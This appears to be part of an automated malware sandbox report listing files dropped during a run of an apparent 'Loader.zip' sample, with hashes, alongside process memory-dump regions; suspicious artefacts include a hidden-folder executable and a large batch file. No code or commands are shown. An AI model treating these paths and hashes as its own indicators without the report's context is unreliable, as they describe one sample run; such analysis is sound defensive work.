C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
17a17db79c19d4aa20da768f2f11e0f6

SHA1
78a73b83c002d4f3b51b69fc3cdf9cf0167fedc1

SHA256
e9819d3ecd5796772aaeb07dc1c5da0563d3a1bf9422da03b0514b95ffad8289

SHA512
7a450bd6e8767e16345db6745f162de8e948fb7b65dc5aa1b27e9c395f7657a5fc8a6becbe7e5d332c3c7480783474936e6d21f6421454d8fbe35f2f946043be

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
4c1a24fa898d2a98b540b20272c8e47b

SHA1
3218bff9ce95b52842fa1b8bd00be073177141ef

SHA256
bbcc378fcbf64580e7a48b4e7ca9be57fa0a1f2e747f488325685bdb18d73a95

SHA512
e61f196e7f1c9a5fe249abe9b11eea770fb2f4babc61f60b12c71f43e6fe9354cf14869daf46abc2c2655bce180252acd43c10562a2dcd31fa7d90d33253820e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
f1d2c7fd2ca29bb77a5da2d1847fbb92

SHA1
840de2cf36c22ba10ac96f90890b6a12a56526c6

SHA256
58d0f80310f4a84f687c5ce0adaa982eb42fe4480510399fa2ae975d40bb8bc5

SHA512
ede1fafea2404f16948fe0b5ea5161ccee3ee6e40c55ff98c337eac981a6776b9c73dc030a5c59e4347aec91259f497539206e71949c33adcecbf2c846709e14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
168B

MD5
a0bf17eae6a78539805f89251980b354

SHA1
0644bf4d3364da054c954c5515e082d3cbe237c1

SHA256
7e86133e0c784cd40d79698a76bc152aadeeb147b3c74c4b4f6f93215161ed38

SHA512
bc47e9944e05ba20c23e035bc4e4ccb0aa3836773a4fc186bb2176857d2b42b1a5aac31eea741911bb0d2ab1a22e39835014428a889ad4ed9629dfb0feee4b12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
809B

MD5
95e99f05a195b212dc646d128d49cd14

SHA1
0fba05fd74987bfdbd0c314159a004729fa71e37

SHA256
a92ec79736713fa0589c35e2cf95e0443299b0bd287dbe6b7c7e6247bd09607a

SHA512
2151dfcb43d1062073b93ebab1b9689588bfa4d1d941ecdc2b7931fdce05c9cbe4303da90f83197b5d20348f42b804a425fc2ebec57afb68117e6826ab0c160f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
4e0fee7f2419a509aeb14e71b19ad2da

SHA1
16b53b11898f0d92e9b159b8c9e406df7e14920a

SHA256
d50d3c0307a7ca26d79a9528d2cbe240be4d4378bb9c85d5364dfd74e258e311

SHA512
b4ac155f1205037d2acb821fe11e1ec8044ce5494240cf8b71df88db3992be1ed234c9e4242679a4504355a1ea6e189ef0bec4046cea88b777d16b5ee3ce9711

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
adc93b8c3c45da6f8e5c9f5377ccb5ce

SHA1
5823e7d88a40ec4326b6b850a2c84466b9914fdf

SHA256
974545f320e85e70c78c726cbc11f43e655bcf0398e8fdbe6f706c993fdd4a61

SHA512
c4ae0c87a33db7044a1516e46031e4e400d7a571821e27ccee49b7402f6e97cf3d5ef51e48650ea33f17d8605fef2c366323eab6703195acab6fce62aa1bf227

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
bbb0a0b1fae2a5a4f60d5d3bac08bfdc

SHA1
dd7cea5a568e71cd10793f2e643dd7578ea55dab

SHA256
0dc42792308548a9c2c5ea6cbe1293d34be0a0dc4d324015718c83af1add36f4

SHA512
a6c0f29d7a6f97af55f54e96fc5639cb891f275457c8d1fc2e1746f5864ba273cbca0d89583b196bace5a830490a310e4311a1d5bcf9dba80d08eea8c455badb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\f_000008

Filesize
26KB

MD5
8235f98068f731038d8520df4727c625

SHA1
6ef1e3ca36d59de490e593ec195b632e8e09565d

SHA256
98280dcf81e7ed7a29b2d383c12027481bf771aa6358012ee5ffcc8b3af21e38

SHA512
d75d4b688898ee9c9ee07f7be6e9dafd0154518ac54042270666969dd15dbc3b7c8cf92997c510f42f20a5ad8270d5324dd8f2ef91666a9d6d0450d60bacfd83

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
8ae60c797acd79bf7b8cbca1c6240ebc

SHA1
dc00cc234c3d0a2c018d90fff05ba04aa8772294

SHA256
3773cb83be3c692d50344e931207d64762855597353fa0fdb23cb7a82a58516e

SHA512
a14c490d284f0bc732dc0dc189907c8c5bf416f3a61d72d97066576c3fd53bb359d4152f2f7d8f0e0f4869d9a9b8ca883c4522646514d454426dd7211396a99b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
9bb0c453957f5613607c4dd137b6cf69

SHA1
92f2fd5b7d96cab7858e198e7832f48256173907

SHA256
e42e9b52f4deefc34233d4d07d7ba5f2287946fd9951bf8760147c59908299ba

SHA512
05991afb078cd89eef842e2e7c6b77f193082235a44d11e0baea8678ba6c007b182ef7dbe392348027f9a8dcfadfc2973eddd00e917cdd24d83c77d7253731f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
62KB

MD5
e566632d8956997225be604d026c9b39

SHA1
94a9aade75fffc63ed71404b630eca41d3ce130e

SHA256
b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

SHA512
f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
1KB

MD5
38d82e4dea1c1bf49bf8ec02767bf6c5

SHA1
d047341a619d44c61fe80a9591f87a3806699dee

SHA256
d753c949c37d2cdb08f9639a37f79c34c5c65eaebe6691bcae1b02d5585b6ee1

SHA512
e30c6cf10376b148552fdb69ad994a0369d6c121dc193b4e11dbd7f13004461fe7e292aa4eb1edd0325a8dd52c86f159bb0835e9331ecc0cd050c83935a4a2a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30wvy1dv.53r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\Loader.zip

Filesize
5.5MB

MD5
15988ddd4ef8523823cb8670ec3c9fe8

SHA1
70509c9287dd990ab039c883a9b21ec76975aec7

SHA256
0234a78acc9fd066d5e8ecc660497e92b88c8ccdb4f30527b992a56a8132a781

SHA512
d815dd3da903409d9bfad9048af67c3d8595ea04a9d9ab79d41b741bd70f13f75854e5e732e3dd9457a9ad694f6b55618bd8daf7bc295e4bab5b48c74cdf309e

Download Submit
C:\Users\Admin\Downloads\Loader.zip:Zone.Identifier

Filesize
56B

MD5
35459184ee3e133c26e295665d216777

SHA1
d9c7a549fe331f8084069944a6a8079f54c01f97

SHA256
de9de42e32765ef66a4d09d1dcd5e9675d52c3a803dcd91dc99b48db62523fe8

SHA512
c788311fcb5398f951bff4e99262a48ba2c92043dd7c4ad52b3abdfd076d3ff07cc343e2a3840e91c56f7bd3f050ac6ce67a8718f85067bb2a1fe1f683c41048

Download Submit
C:\Windows\$nya-onimai2\nQAhvv.exe

Filesize
36KB

MD5
b943a57bdf1bbd9c33ab0d33ff885983

SHA1
1cee65eea1ab27eae9108c081e18a50678bd5cdc

SHA256
878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

SHA512
cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

Download Submit
C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Filesize
7.3MB

MD5
1bec1098946595a03fa067a3ef7ce292

SHA1
89cfb4a2f8800f1b944d906d959639907672317d

SHA256
a8f184a333fb89f41ddca323472463b4ee2cbed63d26d105823300148e2015cb

SHA512
dc7e73ed353d50b73a0eb6f1d955812a29fc5e05df300487d1eda49cc78e6748929a17cd59b58148f7e8696fd0fdfd21e8269af6788f1037bda6d8ddf30c6082

Download Submit
memory/472-295-0x000002A66A840000-0x000002A66A86A000-memory.dmp

Filesize
168KB

Download
memory/640-255-0x00000192E7050000-0x00000192E707A000-memory.dmp

Filesize
168KB

Download
memory/640-250-0x00000192E7050000-0x00000192E707A000-memory.dmp

Filesize
168KB

Download
memory/640-258-0x00000192E7050000-0x00000192E707A000-memory.dmp

Filesize
168KB

Download
memory/640-256-0x00000192E7050000-0x00000192E707A000-memory.dmp

Filesize
168KB

Download
memory/640-249-0x00000192E7050000-0x00000192E707A000-memory.dmp

Filesize
168KB

Download
memory/640-248-0x00000192E6DD0000-0x00000192E6DF4000-memory.dmp

Filesize
144KB

Download
memory/640-257-0x00000192E7050000-0x00000192E707A000-memory.dmp

Filesize
168KB

Download
memory/640-261-0x00000192E7050000-0x00000192E707A000-memory.dmp

Filesize
168KB

Download
memory/640-260-0x00007FFCE0010000-0x00007FFCE0020000-memory.dmp

Filesize
64KB

Download
memory/640-259-0x00000192E7050000-0x00000192E707A000-memory.dmp

Filesize
168KB

Download
memory/692-273-0x0000019684B80000-0x0000019684BAA000-memory.dmp

Filesize
168KB

Download
memory/692-270-0x0000019684B80000-0x0000019684BAA000-memory.dmp

Filesize
168KB

Download
memory/692-265-0x0000019684B80000-0x0000019684BAA000-memory.dmp

Filesize
168KB

Download
memory/692-271-0x0000019684B80000-0x0000019684BAA000-memory.dmp

Filesize
168KB

Download
memory/692-272-0x0000019684B80000-0x0000019684BAA000-memory.dmp

Filesize
168KB

Download
memory/692-275-0x00007FFCE0010000-0x00007FFCE0020000-memory.dmp

Filesize
64KB

Download
memory/692-276-0x0000019684B80000-0x0000019684BAA000-memory.dmp

Filesize
168KB

Download
memory/692-274-0x0000019684B80000-0x0000019684BAA000-memory.dmp

Filesize
168KB

Download
memory/1004-290-0x00007FFCE0010000-0x00007FFCE0020000-memory.dmp

Filesize
64KB

Download
memory/1004-289-0x0000015B2E9C0000-0x0000015B2E9EA000-memory.dmp

Filesize
168KB

Download
memory/1004-287-0x0000015B2E9C0000-0x0000015B2E9EA000-memory.dmp

Filesize
168KB

Download
memory/1004-286-0x0000015B2E9C0000-0x0000015B2E9EA000-memory.dmp

Filesize
168KB

Download
memory/1004-285-0x0000015B2E9C0000-0x0000015B2E9EA000-memory.dmp

Filesize
168KB

Download
memory/1004-280-0x0000015B2E9C0000-0x0000015B2E9EA000-memory.dmp

Filesize
168KB

Download
memory/1004-291-0x0000015B2E9C0000-0x0000015B2E9EA000-memory.dmp

Filesize
168KB

Download
memory/1004-288-0x0000015B2E9C0000-0x0000015B2E9EA000-memory.dmp

Filesize
168KB

Download
memory/1128-239-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1128-237-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1128-243-0x00007FFD1FF80000-0x00007FFD20189000-memory.dmp

Filesize
2.0MB

Download
memory/1128-242-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1128-245-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1128-244-0x00007FFD1E690000-0x00007FFD1E74D000-memory.dmp

Filesize
756KB

Download
memory/1128-240-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1128-238-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2324-235-0x00007FFD1FF80000-0x00007FFD20189000-memory.dmp

Filesize
2.0MB

Download
memory/2324-490-0x00000168FB910000-0x00000168FBCA2000-memory.dmp

Filesize
3.6MB

Download
memory/2324-236-0x00007FFD1E690000-0x00007FFD1E74D000-memory.dmp

Filesize
756KB

Download
memory/2324-234-0x00000168FB2B0000-0x00000168FB6F6000-memory.dmp

Filesize
4.3MB

Download
memory/2324-233-0x00000168EA540000-0x00000168EA57A000-memory.dmp

Filesize
232KB

Download
memory/2324-232-0x00000168EA960000-0x00000168EA9A6000-memory.dmp

Filesize
280KB

Download
memory/2324-223-0x00000168EA8A0000-0x00000168EA8C2000-memory.dmp

Filesize
136KB

Download
memory/2708-2376-0x000001FAE6CE0000-0x000001FAE7464000-memory.dmp

Filesize
7.5MB

Download
memory/2708-2463-0x000001FAE4DB0000-0x000001FAE4E00000-memory.dmp

Filesize
320KB

Download
memory/2708-2464-0x000001FAE4EC0000-0x000001FAE4F72000-memory.dmp

Filesize
712KB

Download
memory/2708-2465-0x000001FAE7DB0000-0x000001FAE7F72000-memory.dmp

Filesize
1.8MB

Download
memory/4004-2714-0x000001CA22520000-0x000001CA2252E000-memory.dmp

Filesize
56KB

Download